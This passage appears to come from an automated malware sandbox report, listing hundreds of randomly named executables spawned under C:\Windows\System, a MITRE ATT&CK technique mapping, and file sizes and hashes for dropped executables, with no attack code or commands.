- C:\Windows\System\mvqvWbZ.exe
  C:\Windows\System\mvqvWbZ.exe
  2⤵
  PID:14872
- C:\Windows\System\yGAvmjN.exe
  C:\Windows\System\yGAvmjN.exe
  2⤵
  PID:6816
- C:\Windows\System\HwsMLyi.exe
  C:\Windows\System\HwsMLyi.exe
  2⤵
  PID:7272
- C:\Windows\System\yAsocqK.exe
  C:\Windows\System\yAsocqK.exe
  2⤵
  PID:4928
- C:\Windows\System\bmxhlPX.exe
  C:\Windows\System\bmxhlPX.exe
  2⤵
  PID:14880
- C:\Windows\System\SEpWUYo.exe
  C:\Windows\System\SEpWUYo.exe
  2⤵
  PID:8632
- C:\Windows\System\pPzgqso.exe
  C:\Windows\System\pPzgqso.exe
  2⤵
  PID:8168
- C:\Windows\System\nQBfjwa.exe
  C:\Windows\System\nQBfjwa.exe
  2⤵
  PID:15212
- C:\Windows\System\HFSqmrc.exe
  C:\Windows\System\HFSqmrc.exe
  2⤵
  PID:7664
- C:\Windows\System\DCySsXo.exe
  C:\Windows\System\DCySsXo.exe
  2⤵
  PID:15252
- C:\Windows\System\AkHEkHc.exe
  C:\Windows\System\AkHEkHc.exe
  2⤵
  PID:8084
- C:\Windows\System\eJcFnOL.exe
  C:\Windows\System\eJcFnOL.exe
  2⤵
  PID:8500
- C:\Windows\System\jChwtXK.exe
  C:\Windows\System\jChwtXK.exe
  2⤵
  PID:7440
- C:\Windows\System\pewzIdg.exe
  C:\Windows\System\pewzIdg.exe
  2⤵
  PID:6868
- C:\Windows\System\SxdGhEi.exe
  C:\Windows\System\SxdGhEi.exe
  2⤵
  PID:9236
- C:\Windows\System\LGeCKIO.exe
  C:\Windows\System\LGeCKIO.exe
  2⤵
  PID:15324
- C:\Windows\System\BxyWPHx.exe
  C:\Windows\System\BxyWPHx.exe
  2⤵
  PID:4808
- C:\Windows\System\twReKJp.exe
  C:\Windows\System\twReKJp.exe
  2⤵
  PID:7788
- C:\Windows\System\fmOMmNt.exe
  C:\Windows\System\fmOMmNt.exe
  2⤵
  PID:10192
- C:\Windows\System\UzuCxSa.exe
  C:\Windows\System\UzuCxSa.exe
  2⤵
  PID:8332
- C:\Windows\System\xcQDRib.exe
  C:\Windows\System\xcQDRib.exe
  2⤵
  PID:9636
- C:\Windows\System\kLgLcvQ.exe
  C:\Windows\System\kLgLcvQ.exe
  2⤵
  PID:4528
- C:\Windows\System\zEWxlQz.exe
  C:\Windows\System\zEWxlQz.exe
  2⤵
  PID:9060
- C:\Windows\System\LhEyhiK.exe
  C:\Windows\System\LhEyhiK.exe
  2⤵
  PID:7732
- C:\Windows\System\pfhRQVX.exe
  C:\Windows\System\pfhRQVX.exe
  2⤵
  PID:10204
- C:\Windows\System\KPsEEdY.exe
  C:\Windows\System\KPsEEdY.exe
  2⤵
  PID:10184
- C:\Windows\System\atYFJKR.exe
  C:\Windows\System\atYFJKR.exe
  2⤵
  PID:7248
- C:\Windows\System\pwKdZVT.exe
  C:\Windows\System\pwKdZVT.exe
  2⤵
  PID:8256
- C:\Windows\System\AcydBTB.exe
  C:\Windows\System\AcydBTB.exe
  2⤵
  PID:8628
- C:\Windows\System\avbHmkc.exe
  C:\Windows\System\avbHmkc.exe
  2⤵
  PID:8624
- C:\Windows\System\DSekRoR.exe
  C:\Windows\System\DSekRoR.exe
  2⤵
  PID:9240
- C:\Windows\System\FLpDNnD.exe
  C:\Windows\System\FLpDNnD.exe
  2⤵
  PID:2372
- C:\Windows\System\pnOCkyg.exe
  C:\Windows\System\pnOCkyg.exe
  2⤵
  PID:8056
- C:\Windows\System\kAzoKPJ.exe
  C:\Windows\System\kAzoKPJ.exe
  2⤵
  PID:14396
- C:\Windows\System\BuREgyg.exe
  C:\Windows\System\BuREgyg.exe
  2⤵
  PID:9244
- C:\Windows\System\raFQiRy.exe
  C:\Windows\System\raFQiRy.exe
  2⤵
  PID:8852
- C:\Windows\System\lAEheBl.exe
  C:\Windows\System\lAEheBl.exe
  2⤵
  PID:14504
- C:\Windows\System\gSRNJjd.exe
  C:\Windows\System\gSRNJjd.exe
  2⤵
  PID:9408
- C:\Windows\System\xYorLXI.exe
  C:\Windows\System\xYorLXI.exe
  2⤵
  PID:14720
- C:\Windows\System\afBodas.exe
  C:\Windows\System\afBodas.exe
  2⤵
  PID:14672
- C:\Windows\System\dchKqLu.exe
  C:\Windows\System\dchKqLu.exe
  2⤵
  PID:15200
- C:\Windows\System\nBKkYKY.exe
  C:\Windows\System\nBKkYKY.exe
  2⤵
  PID:10348
- C:\Windows\System\clwJXdN.exe
  C:\Windows\System\clwJXdN.exe
  2⤵
  PID:9232
- C:\Windows\System\kLbSLug.exe
  C:\Windows\System\kLbSLug.exe
  2⤵
  PID:9396
- C:\Windows\System\kkROeUf.exe
  C:\Windows\System\kkROeUf.exe
  2⤵
  PID:6004
- C:\Windows\System\YtmWtwi.exe
  C:\Windows\System\YtmWtwi.exe
  2⤵
  PID:10452
- C:\Windows\System\KWKMbAP.exe
  C:\Windows\System\KWKMbAP.exe
  2⤵
  PID:3004
- C:\Windows\System\rOnnQiS.exe
  C:\Windows\System\rOnnQiS.exe
  2⤵
  PID:10460
- C:\Windows\System\lmpKYFL.exe
  C:\Windows\System\lmpKYFL.exe
  2⤵
  PID:10288
- C:\Windows\System\FhcCQms.exe
  C:\Windows\System\FhcCQms.exe
  2⤵
  PID:10344
- C:\Windows\System\tzyfeZr.exe
  C:\Windows\System\tzyfeZr.exe
  2⤵
  PID:7204
- C:\Windows\System\KDEXetj.exe
  C:\Windows\System\KDEXetj.exe
  2⤵
  PID:7828
- C:\Windows\System\RwmrCuA.exe
  C:\Windows\System\RwmrCuA.exe
  2⤵
  PID:9564
- C:\Windows\System\NnZNwOG.exe
  C:\Windows\System\NnZNwOG.exe
  2⤵
  PID:8456
- C:\Windows\System\CkTCDwa.exe
  C:\Windows\System\CkTCDwa.exe
  2⤵
  PID:8588
- C:\Windows\System\XsIDHNR.exe
  C:\Windows\System\XsIDHNR.exe
  2⤵
  PID:10308
- C:\Windows\System\rYfVfpp.exe
  C:\Windows\System\rYfVfpp.exe
  2⤵
  PID:9268
- C:\Windows\System\DIThwiS.exe
  C:\Windows\System\DIThwiS.exe
  2⤵
  PID:14604
- C:\Windows\System\CiWuZMw.exe
  C:\Windows\System\CiWuZMw.exe
  2⤵
  PID:8272
- C:\Windows\System\GVcTyJE.exe
  C:\Windows\System\GVcTyJE.exe
  2⤵
  PID:8616
- C:\Windows\System\VemPQbH.exe
  C:\Windows\System\VemPQbH.exe
  2⤵
  PID:3724
- C:\Windows\System\FcjQJbJ.exe
  C:\Windows\System\FcjQJbJ.exe
  2⤵
  PID:10044
- C:\Windows\System\zITVpDa.exe
  C:\Windows\System\zITVpDa.exe
  2⤵
  PID:15256
- C:\Windows\System\CRfPThQ.exe
  C:\Windows\System\CRfPThQ.exe
  2⤵
  PID:11176
- C:\Windows\System\wVYXrZl.exe
  C:\Windows\System\wVYXrZl.exe
  2⤵
  PID:10880
- C:\Windows\System\CYwxYkA.exe
  C:\Windows\System\CYwxYkA.exe
  2⤵
  PID:11052
- C:\Windows\System\jUSPvDe.exe
  C:\Windows\System\jUSPvDe.exe
  2⤵
  PID:8092
- C:\Windows\System\utoWCcy.exe
  C:\Windows\System\utoWCcy.exe
  2⤵
  PID:10908
- C:\Windows\System\ymAETHh.exe
  C:\Windows\System\ymAETHh.exe
  2⤵
  PID:11136
- C:\Windows\System\hoaEddu.exe
  C:\Windows\System\hoaEddu.exe
  2⤵
  PID:9760
- C:\Windows\System\YMiBIvQ.exe
  C:\Windows\System\YMiBIvQ.exe
  2⤵
  PID:10168
- C:\Windows\System\lnKfTXQ.exe
  C:\Windows\System\lnKfTXQ.exe
  2⤵
  PID:9548
- C:\Windows\System\iLNAmvh.exe
  C:\Windows\System\iLNAmvh.exe
  2⤵
  PID:6360
- C:\Windows\System\RDzsEZA.exe
  C:\Windows\System\RDzsEZA.exe
  2⤵
  PID:9368
- C:\Windows\System\vSVPxIj.exe
  C:\Windows\System\vSVPxIj.exe
  2⤵
  PID:6640
- C:\Windows\System\RvGebzJ.exe
  C:\Windows\System\RvGebzJ.exe
  2⤵
  PID:8000
- C:\Windows\System\neEPaZI.exe
  C:\Windows\System\neEPaZI.exe
  2⤵
  PID:10484
- C:\Windows\System\hXqQApM.exe
  C:\Windows\System\hXqQApM.exe
  2⤵
  PID:8176
- C:\Windows\System\nHcCWuO.exe
  C:\Windows\System\nHcCWuO.exe
  2⤵
  PID:13192
- C:\Windows\System\ogbvnEY.exe
  C:\Windows\System\ogbvnEY.exe
  2⤵
  PID:11204
- C:\Windows\System\zzQHsJS.exe
  C:\Windows\System\zzQHsJS.exe
  2⤵
  PID:10876
- C:\Windows\System\jEmsATM.exe
  C:\Windows\System\jEmsATM.exe
  2⤵
  PID:9640
- C:\Windows\System\CCgblIy.exe
  C:\Windows\System\CCgblIy.exe
  2⤵
  PID:14492
- C:\Windows\System\vazUbxP.exe
  C:\Windows\System\vazUbxP.exe
  2⤵
  PID:9492
- C:\Windows\System\ORSgFWt.exe
  C:\Windows\System\ORSgFWt.exe
  2⤵
  PID:10968
- C:\Windows\System\aSTYCmu.exe
  C:\Windows\System\aSTYCmu.exe
  2⤵
  PID:9732
- C:\Windows\System\rtbHLWN.exe
  C:\Windows\System\rtbHLWN.exe
  2⤵
  PID:8648
- C:\Windows\System\JybkKKj.exe
  C:\Windows\System\JybkKKj.exe
  2⤵
  PID:9104
- C:\Windows\System\jlxEQMR.exe
  C:\Windows\System\jlxEQMR.exe
  2⤵
  PID:11232
- C:\Windows\System\qeJotiw.exe
  C:\Windows\System\qeJotiw.exe
  2⤵
  PID:10264
- C:\Windows\System\ppStHHG.exe
  C:\Windows\System\ppStHHG.exe
  2⤵
  PID:10904
- C:\Windows\System\kWBCFwA.exe
  C:\Windows\System\kWBCFwA.exe
  2⤵
  PID:14724
- C:\Windows\System\agztwAe.exe
  C:\Windows\System\agztwAe.exe
  2⤵
  PID:10396
- C:\Windows\System\kqIeMoC.exe
  C:\Windows\System\kqIeMoC.exe
  2⤵
  PID:8720
- C:\Windows\System\hBkYoNw.exe
  C:\Windows\System\hBkYoNw.exe
  2⤵
  PID:7808
- C:\Windows\System\nPVkhhF.exe
  C:\Windows\System\nPVkhhF.exe
  2⤵
  PID:1020
- C:\Windows\System\cFcWTpw.exe
  C:\Windows\System\cFcWTpw.exe
  2⤵
  PID:10292
- C:\Windows\System\rwyGucM.exe
  C:\Windows\System\rwyGucM.exe
  2⤵
  PID:7352
- C:\Windows\System\cABlASb.exe
  C:\Windows\System\cABlASb.exe
  2⤵
  PID:10960
- C:\Windows\System\HhoqVHK.exe
  C:\Windows\System\HhoqVHK.exe
  2⤵
  PID:10228
- C:\Windows\System\fhUOnfh.exe
  C:\Windows\System\fhUOnfh.exe
  2⤵
  PID:11308
- C:\Windows\System\pyOTseM.exe
  C:\Windows\System\pyOTseM.exe
  2⤵
  PID:11180
- C:\Windows\System\jyJSYUG.exe
  C:\Windows\System\jyJSYUG.exe
  2⤵
  PID:11496
- C:\Windows\System\HEQvlJl.exe
  C:\Windows\System\HEQvlJl.exe
  2⤵
  PID:15208
- C:\Windows\System\YYiTCKe.exe
  C:\Windows\System\YYiTCKe.exe
  2⤵
  PID:7512
- C:\Windows\System\PntzbKu.exe
  C:\Windows\System\PntzbKu.exe
  2⤵
  PID:11724
- C:\Windows\System\NkydynO.exe
  C:\Windows\System\NkydynO.exe
  2⤵
  PID:4640
- C:\Windows\System\SyqECJg.exe
  C:\Windows\System\SyqECJg.exe
  2⤵
  PID:10336
- C:\Windows\System\EevhBFV.exe
  C:\Windows\System\EevhBFV.exe
  2⤵
  PID:11728
- C:\Windows\System\wkeBSnt.exe
  C:\Windows\System\wkeBSnt.exe
  2⤵
  PID:11748
- C:\Windows\System\PUQrpmn.exe
  C:\Windows\System\PUQrpmn.exe
  2⤵
  PID:10944
- C:\Windows\System\FQcpnfI.exe
  C:\Windows\System\FQcpnfI.exe
  2⤵
  PID:456
- C:\Windows\System\odwfjAR.exe
  C:\Windows\System\odwfjAR.exe
  2⤵
  PID:11284
- C:\Windows\System\MATfrgo.exe
  C:\Windows\System\MATfrgo.exe
  2⤵
  PID:7856
- C:\Windows\System\baekFzm.exe
  C:\Windows\System\baekFzm.exe
  2⤵
  PID:14904
- C:\Windows\System\pVPUZng.exe
  C:\Windows\System\pVPUZng.exe
  2⤵
  PID:10148
- C:\Windows\System\kLxCVlQ.exe
  C:\Windows\System\kLxCVlQ.exe
  2⤵
  PID:14696
- C:\Windows\System\zzcquSA.exe
  C:\Windows\System\zzcquSA.exe
  2⤵
  PID:11416
- C:\Windows\System\QmdJJzC.exe
  C:\Windows\System\QmdJJzC.exe
  2⤵
  PID:12248
- C:\Windows\System\JjcpYoM.exe
  C:\Windows\System\JjcpYoM.exe
  2⤵
  PID:12060
- C:\Windows\System\NdZemjJ.exe
  C:\Windows\System\NdZemjJ.exe
  2⤵
  PID:15220
- C:\Windows\System\KgJHFmU.exe
  C:\Windows\System\KgJHFmU.exe
  2⤵
  PID:11100
- C:\Windows\System\GyErdWe.exe
  C:\Windows\System\GyErdWe.exe
  2⤵
  PID:10232
- C:\Windows\System\bchhWGW.exe
  C:\Windows\System\bchhWGW.exe
  2⤵
  PID:8724
- C:\Windows\System\KmGqInc.exe
  C:\Windows\System\KmGqInc.exe
  2⤵
  PID:11300
- C:\Windows\System\mNBhGRW.exe
  C:\Windows\System\mNBhGRW.exe
  2⤵
  PID:8252
- C:\Windows\System\lawAJEd.exe
  C:\Windows\System\lawAJEd.exe
  2⤵
  PID:10392
- C:\Windows\System\OaPxBXa.exe
  C:\Windows\System\OaPxBXa.exe
  2⤵
  PID:8428
- C:\Windows\System\ZnZjEWm.exe
  C:\Windows\System\ZnZjEWm.exe
  2⤵
  PID:8532
- C:\Windows\System\pQSLMKi.exe
  C:\Windows\System\pQSLMKi.exe
  2⤵
  PID:10920
- C:\Windows\System\eUDCoiL.exe
  C:\Windows\System\eUDCoiL.exe
  2⤵
  PID:6492
- C:\Windows\System\ufqIPiu.exe
  C:\Windows\System\ufqIPiu.exe
  2⤵
  PID:14412
- C:\Windows\System\GUtWvUq.exe
  C:\Windows\System\GUtWvUq.exe
  2⤵
  PID:10528
- C:\Windows\System\gtevqlm.exe
  C:\Windows\System\gtevqlm.exe
  2⤵
  PID:1536
- C:\Windows\System\JvzOoLY.exe
  C:\Windows\System\JvzOoLY.exe
  2⤵
  PID:9016
- C:\Windows\System\VavtvVX.exe
  C:\Windows\System\VavtvVX.exe
  2⤵
  PID:6952
- C:\Windows\System\wmcTSVQ.exe
  C:\Windows\System\wmcTSVQ.exe
  2⤵
  PID:14652
- C:\Windows\System\QqzJRLc.exe
  C:\Windows\System\QqzJRLc.exe
  2⤵
  PID:8372
- C:\Windows\System\ptDDXbw.exe
  C:\Windows\System\ptDDXbw.exe
  2⤵
  PID:15384
- C:\Windows\System\FwCeRQv.exe
  C:\Windows\System\FwCeRQv.exe
  2⤵
  PID:15408
- C:\Windows\System\AIJpKCO.exe
  C:\Windows\System\AIJpKCO.exe
  2⤵
  PID:15440
- C:\Windows\System\tUwNhKR.exe
  C:\Windows\System\tUwNhKR.exe
  2⤵
  PID:15464
- C:\Windows\System\AYxoZse.exe
  C:\Windows\System\AYxoZse.exe
  2⤵
  PID:15480
- C:\Windows\System\jCzyFOP.exe
  C:\Windows\System\jCzyFOP.exe
  2⤵
  PID:15500
- C:\Windows\System\cSzwNps.exe
  C:\Windows\System\cSzwNps.exe
  2⤵
  PID:15524
- C:\Windows\System\eCgEIJD.exe
  C:\Windows\System\eCgEIJD.exe
  2⤵
  PID:15548
- C:\Windows\System\jSleBOr.exe
  C:\Windows\System\jSleBOr.exe
  2⤵
  PID:15568
- C:\Windows\System\vPJYXoU.exe
  C:\Windows\System\vPJYXoU.exe
  2⤵
  PID:15588
- C:\Windows\System\oZnoXOm.exe
  C:\Windows\System\oZnoXOm.exe
  2⤵
  PID:15612
- C:\Windows\System\CVbCarV.exe
  C:\Windows\System\CVbCarV.exe
  2⤵
  PID:15640
- C:\Windows\System\rnSrgnb.exe
  C:\Windows\System\rnSrgnb.exe
  2⤵
  PID:15668
- C:\Windows\System\irhYcQB.exe
  C:\Windows\System\irhYcQB.exe
  2⤵
  PID:15696
- C:\Windows\System\APcPjNh.exe
  C:\Windows\System\APcPjNh.exe
  2⤵
  PID:15720
- C:\Windows\System\vCsHiQX.exe
  C:\Windows\System\vCsHiQX.exe
  2⤵
  PID:15748
- C:\Windows\System\LptHNCp.exe
  C:\Windows\System\LptHNCp.exe
  2⤵
  PID:15764
- C:\Windows\System\IWDlorg.exe
  C:\Windows\System\IWDlorg.exe
  2⤵
  PID:15784
- C:\Windows\System\EfuElEn.exe
  C:\Windows\System\EfuElEn.exe
  2⤵
  PID:15804
- C:\Windows\System\wtbSNyS.exe
  C:\Windows\System\wtbSNyS.exe
  2⤵
  PID:15820
- C:\Windows\System\zenrdrq.exe
  C:\Windows\System\zenrdrq.exe
  2⤵
  PID:15836
- C:\Windows\System\UscWdws.exe
  C:\Windows\System\UscWdws.exe
  2⤵
  PID:15852
- C:\Windows\System\zHlLjfy.exe
  C:\Windows\System\zHlLjfy.exe
  2⤵
  PID:15872
- C:\Windows\System\oLrDEVF.exe
  C:\Windows\System\oLrDEVF.exe
  2⤵
  PID:15892
- C:\Windows\System\GzpzVcb.exe
  C:\Windows\System\GzpzVcb.exe
  2⤵
  PID:15916
- C:\Windows\System\XHtTPZW.exe
  C:\Windows\System\XHtTPZW.exe
  2⤵
  PID:15936
- C:\Windows\System\AgSReJg.exe
  C:\Windows\System\AgSReJg.exe
  2⤵
  PID:15964
- C:\Windows\System\FHWOwOM.exe
  C:\Windows\System\FHWOwOM.exe
  2⤵
  PID:15984
- C:\Windows\System\uvHtMOk.exe
  C:\Windows\System\uvHtMOk.exe
  2⤵
  PID:16004
- C:\Windows\System\aRyMumT.exe
  C:\Windows\System\aRyMumT.exe
  2⤵
  PID:16024
- C:\Windows\System\RRvFDcY.exe
  C:\Windows\System\RRvFDcY.exe
  2⤵
  PID:16044
- C:\Windows\System\QIpisKv.exe
  C:\Windows\System\QIpisKv.exe
  2⤵
  PID:16068
- C:\Windows\System\IXvdfbc.exe
  C:\Windows\System\IXvdfbc.exe
  2⤵
  PID:16088
- C:\Windows\System\okrijEg.exe
  C:\Windows\System\okrijEg.exe
  2⤵
  PID:16108
- C:\Windows\System\VrqLuvn.exe
  C:\Windows\System\VrqLuvn.exe
  2⤵
  PID:16128
- C:\Windows\System\jnexHjB.exe
  C:\Windows\System\jnexHjB.exe
  2⤵
  PID:16152
- C:\Windows\System\RgMtGMS.exe
  C:\Windows\System\RgMtGMS.exe
  2⤵
  PID:16176
- C:\Windows\System\eSwlHyd.exe
  C:\Windows\System\eSwlHyd.exe
  2⤵
  PID:16200
- C:\Windows\System\OAymjpY.exe
  C:\Windows\System\OAymjpY.exe
  2⤵
  PID:16220
- C:\Windows\System\HSBDJCm.exe
  C:\Windows\System\HSBDJCm.exe
  2⤵
  PID:16240
- C:\Windows\System\DEiGNsi.exe
  C:\Windows\System\DEiGNsi.exe
  2⤵
  PID:16264
- C:\Windows\System\FNJUKyd.exe
  C:\Windows\System\FNJUKyd.exe
  2⤵
  PID:16280
- C:\Windows\System\wLWPnfw.exe
  C:\Windows\System\wLWPnfw.exe
  2⤵
  PID:16296
- C:\Windows\System\NWzJkMY.exe
  C:\Windows\System\NWzJkMY.exe
  2⤵
  PID:16316
- C:\Windows\System\TpJrNrK.exe
  C:\Windows\System\TpJrNrK.exe
  2⤵
  PID:16332
- C:\Windows\System\FmtXSWR.exe
  C:\Windows\System\FmtXSWR.exe
  2⤵
  PID:16356
- C:\Windows\System\xtNgrfI.exe
  C:\Windows\System\xtNgrfI.exe
  2⤵
  PID:16380
- C:\Windows\System\ReJHpql.exe
  C:\Windows\System\ReJHpql.exe
  2⤵
  PID:8504
- C:\Windows\System\cyDdRWa.exe
  C:\Windows\System\cyDdRWa.exe
  2⤵
  PID:10892
- C:\Windows\System\tRzGUfI.exe
  C:\Windows\System\tRzGUfI.exe
  2⤵
  PID:10580
- C:\Windows\System\dTARvkQ.exe
  C:\Windows\System\dTARvkQ.exe
  2⤵
  PID:488
- C:\Windows\System\NTTcpuM.exe
  C:\Windows\System\NTTcpuM.exe
  2⤵
  PID:8040
- C:\Windows\System\QPWfLdc.exe
  C:\Windows\System\QPWfLdc.exe
  2⤵
  PID:12464
- C:\Windows\System\IXOXHYi.exe
  C:\Windows\System\IXOXHYi.exe
  2⤵
  PID:10412
- C:\Windows\System\RgqNWIR.exe
  C:\Windows\System\RgqNWIR.exe
  2⤵
  PID:11020
- C:\Windows\System\ymKjELL.exe
  C:\Windows\System\ymKjELL.exe
  2⤵
  PID:10748
- C:\Windows\System\cYFPhsy.exe
  C:\Windows\System\cYFPhsy.exe
  2⤵
  PID:11920
- C:\Windows\System\DQitGoy.exe
  C:\Windows\System\DQitGoy.exe
  2⤵
  PID:12240
- C:\Windows\System\KAfPGcD.exe
  C:\Windows\System\KAfPGcD.exe
  2⤵
  PID:11040
- C:\Windows\System\lVqOgmb.exe
  C:\Windows\System\lVqOgmb.exe
  2⤵
  PID:11916
- C:\Windows\System\qsembKk.exe
  C:\Windows\System\qsembKk.exe
  2⤵
  PID:8496
- C:\Windows\System\klTkkSo.exe
  C:\Windows\System\klTkkSo.exe
  2⤵
  PID:10316
- C:\Windows\System\hMPYsGF.exe
  C:\Windows\System\hMPYsGF.exe
  2⤵
  PID:10564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ecrrdqxr.bjc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AeyddpC.exe

Filesize
1.5MB

MD5
0fa82fa83a445a882258aaf23909fd05

SHA1
1b86e0aa6daf82b1795c5b78621c56bc8a35952e

SHA256
b4e6bb3e4645ecbc9009d1a6c685c3bdff836db8c65a21d2bae6dd3d50e3635e

SHA512
460180ec3a1bbae00313f3cf4a8405ad70a1ee45185df5db78d2bde4b94c932821b8bb532a4b790bf66e22cea398e1f969f29d8a8a1ef9621c35929bb901afb8

Download Submit
C:\Windows\System\BKdFsFH.exe

Filesize
1.5MB

MD5
2c8ade861db324c3b1b73002cb490eeb

SHA1
e0c8887e1cd9c58a0fc31556250c86e3200892bc

SHA256
cf38ed7e8fc5df1d6f9d65fea526d1a8566cfb65164cbcc5392ebb519add5240

SHA512
5824393d7dfefbcfced17074312022ee206084ac1ea5610086a7d09e50ee69311173bb278347b4d9da42ca12c45788831d31a3f53765c77c304df7e8a7529825

Download Submit
C:\Windows\System\BPDHgbC.exe

Filesize
1.5MB

MD5
f6520d02cffb817595b234f370867653

SHA1
0334154d6e041e7bb9f98b685983c23bc56ea3d0

SHA256
b6299d72746c5991cb02046a085bc144ee51cd6b48d4e10a1f3e659cd71edab9

SHA512
dd3bca40faac45310e3cf37a312080c4cba1ffd8c807af031917d3698015aff13fca30d7cb0e8d48832001b85ebb0bea2fe0cce286655b7f7e37e3a3146e3c66

Download Submit
C:\Windows\System\BqgISYU.exe

Filesize
1.5MB

MD5
8ca4fc3c59083fbe30d87667840ee01b

SHA1
8510db8780e40c7e2e54a43b78c5fae8c46876d3

SHA256
95101427635445d4214ee91a1f28e79cd335fe36cdf2541eeaf9b99b1f00e250

SHA512
7d2fe3b1c7dcc5b511d4e34d97a97a22aea21acb68a6015273911b2752f04b3a6e9e8b661cc85c0fa6c2bc94ec84678073ac3856e8b185405a92a4d67ef4270e

Download Submit
C:\Windows\System\DLdZOFe.exe

Filesize
1.5MB

MD5
8ebc7c6d7d979b50460d567035759b7e

SHA1
cda9e9164a59718c17feab1f2dc07fe074670427

SHA256
92fcc16e8c07d6d9979aad9e38ed7898faaf745cbd67d37fc3394e79b55c1bfb

SHA512
d2d9161f379647c11e9c5d7c58ada3dc2c31f41f0c0b6c5db94c6fc8260effe4e0aed27d995b57d482c18c0ab27b6ca32593d08fe6302464c4d02064f9c363d7

Download Submit
C:\Windows\System\FZBIdqN.exe

Filesize
1.5MB

MD5
84f0e8d3e8e0bff281347f3bc35c3152

SHA1
d69a345dbd9c15a428c5f0b168b2ad0a2fca51ee

SHA256
72419dc5e8a69eccd4fed44b6c8ef3dd4342288895a57795f474ad0da590693a

SHA512
189dbd8053cf9586292dcab8eaef55ea810467492fea632434d2c8ba5409d3fa1e1193204372e7cc2505fd71a3a58938923aabfec9d9fd61e4b02d45a827acae

Download Submit
C:\Windows\System\HSVfTCh.exe

Filesize
1.5MB

MD5
b277633cff4a238b70b07677e9946c6f

SHA1
6e4e370262b33f74c11b67dd5e1b04e3842ad389

SHA256
ac79db293e57700bc1c6a3ff290ea18859089ed936b81c76bf3132786e0c15fd

SHA512
83f844d2f8cb48d987100ab8194f25723dca13162549dd22e427eca2dfd44449ec44add22c13b51465822969823429aff6b0142eba48af60fa00e880c47a6533

Download Submit
C:\Windows\System\HqvXSPp.exe

Filesize
1.5MB

MD5
78fa15fa3ff4dacbb1a43d76bdba4683

SHA1
0f1fccc4646d10d11342f3800602a9c9fd6d1657

SHA256
8c261f77fd9e31ccb64214c250097a252305246738b83b3c0c6aad98edd689cb

SHA512
bef00d625ed77637b7ce508f7d8e9cfa2d716a299c3f3a626b373633c8aba69363d4efbcf29ce182643650c4a4573c5e35545781922352490a7141b8f6c20964

Download Submit
C:\Windows\System\JYbJmcw.exe

Filesize
1.5MB

MD5
7c195ad8a22449f90a3370edc2db9f8e

SHA1
1683446e58398fb51c784754fe51e850c61dc5fe

SHA256
a787273173dd8723f375bbc5fcf69aa329ef3e6016b2e88cfce10bb29805fb24

SHA512
8ab9460fe4ee8aa5232db30ba7232e0a4e02efcfbf0203333c4798e8782aedbf215cefe4f29070e995edc1a2a8f1fd35fd69a17cd9ad5a8cb225978d4382f7bd

Download Submit
C:\Windows\System\KbBHQzM.exe

Filesize
1.5MB

MD5
9cab3a6cac925abd8e2ca828ba8b1cae

SHA1
9454f33d24089be18999adb36ee651cb715f4b3f

SHA256
87b71b3965ba039d7f0237f58a7ac5002026a11217e0a14bac9ebe7f35b9522e

SHA512
81675af9ac7a70502b674f17c5e886b61bbdd9927135e3ca7cd4f4fb509a2cd1d597b1a2b6dbb2c8a0820851dcbe52d09a2606a672bcbf65801021c9b2b89767

Download Submit
C:\Windows\System\MOnnrrw.exe

Filesize
1.5MB

MD5
2929d422efe372a9a2b29e57e835c1ed

SHA1
09bbb54f356638e1d0a7707912de03c4c6fd43f6

SHA256
51b5d9a17ba718c5a53b5757ec837e78904cdeff186011e3338fc6987bcb1a00

SHA512
e32a86f57b4f123487769d5771d697e334af443324112e2b9e9302ed3dd1771fc4025d97590fb710ebedfe8c9d082e71521268da79b08079dd0c6d1c42c5fdcb

Download Submit
C:\Windows\System\NMndSxb.exe

Filesize
1.5MB

MD5
af62dbcb167055d35dee597f803e98ea

SHA1
4a7a45c7e7b59a0005f90bcb7768f0c405b2d245

SHA256
d64b6dbfe7b34f7363af3ec971d6cee76b0b209142bbc66c9c1e50b12628d176

SHA512
076bbd79a84cc4a0ad858de23efdff889a0eb3ebf5f0e13d1b23dbb42f88ade29e774a17e21210e377acd3bdedd8ed5f95e41ca1d93236a2eb8782ae34c55045

Download Submit
C:\Windows\System\Oqfdmnx.exe

Filesize
1.5MB

MD5
cde9c5e92dcd5e63e8ff0bb6bb45aa13

SHA1
7d963c1ace5c87d13f678c622b9d3b9ef50c67eb

SHA256
2a699bfc81e5202b55f318327c3f3c2ed1f822c7d88f66c3190c689a483ab4e3

SHA512
5e906d2de444e3b9c99e3276833415303e932099bc7e9ebababebd4aec7dfdd7a5ea003a3fd9fc8496a99dc726de2ed89473ebe349e6d06ef7ff914f3cd8873b

Download Submit
C:\Windows\System\PZjvJCg.exe

Filesize
1.5MB

MD5
064c4743a87b4f9e4380e11bc5041718

SHA1
483b41e7a934892baafe2406b6e01996b5a678a2

SHA256
31f9a6c65f4363dd21cedaf9d90197b15ae998b8d63bfd1875848b6fbb7909fe

SHA512
564e69b623ec0428d4ab4cca556e113db85b50439b022c69017ea19a1b6e7b4b19fc1c464cf05130a05508a69822eba17f84f91dc648e1077c30d03f4741a0db

Download Submit
C:\Windows\System\PyzKrWv.exe

Filesize
1.5MB

MD5
a58702b28fc827091622dd309c18f56e

SHA1
995e9917a722c3e796845181872b1bfd7ed0a577

SHA256
5b2e52754213a68c8fc0b1339f226445ab54edac7b37bbe0611074f99be5d8a5

SHA512
d9a68ba609f0b576990dbf26b937f6e6be21c31408425298df810a3fb146ebab8afc7554f16c01ba41bfb280d983a280fa968c0cbe4c994e1745d3cf078bc912

Download Submit
C:\Windows\System\QNVbOQD.exe

Filesize
1.5MB

MD5
059fd8c58efaa177e16671b98a546ab2

SHA1
d57ad2dde622ff333ad0afc5feae618ed82db1b5

SHA256
b30ec9d2e1cb6e94dc57fc2fa9d6baf60a9280a35ae6aefaeb74853fd63d2ab5

SHA512
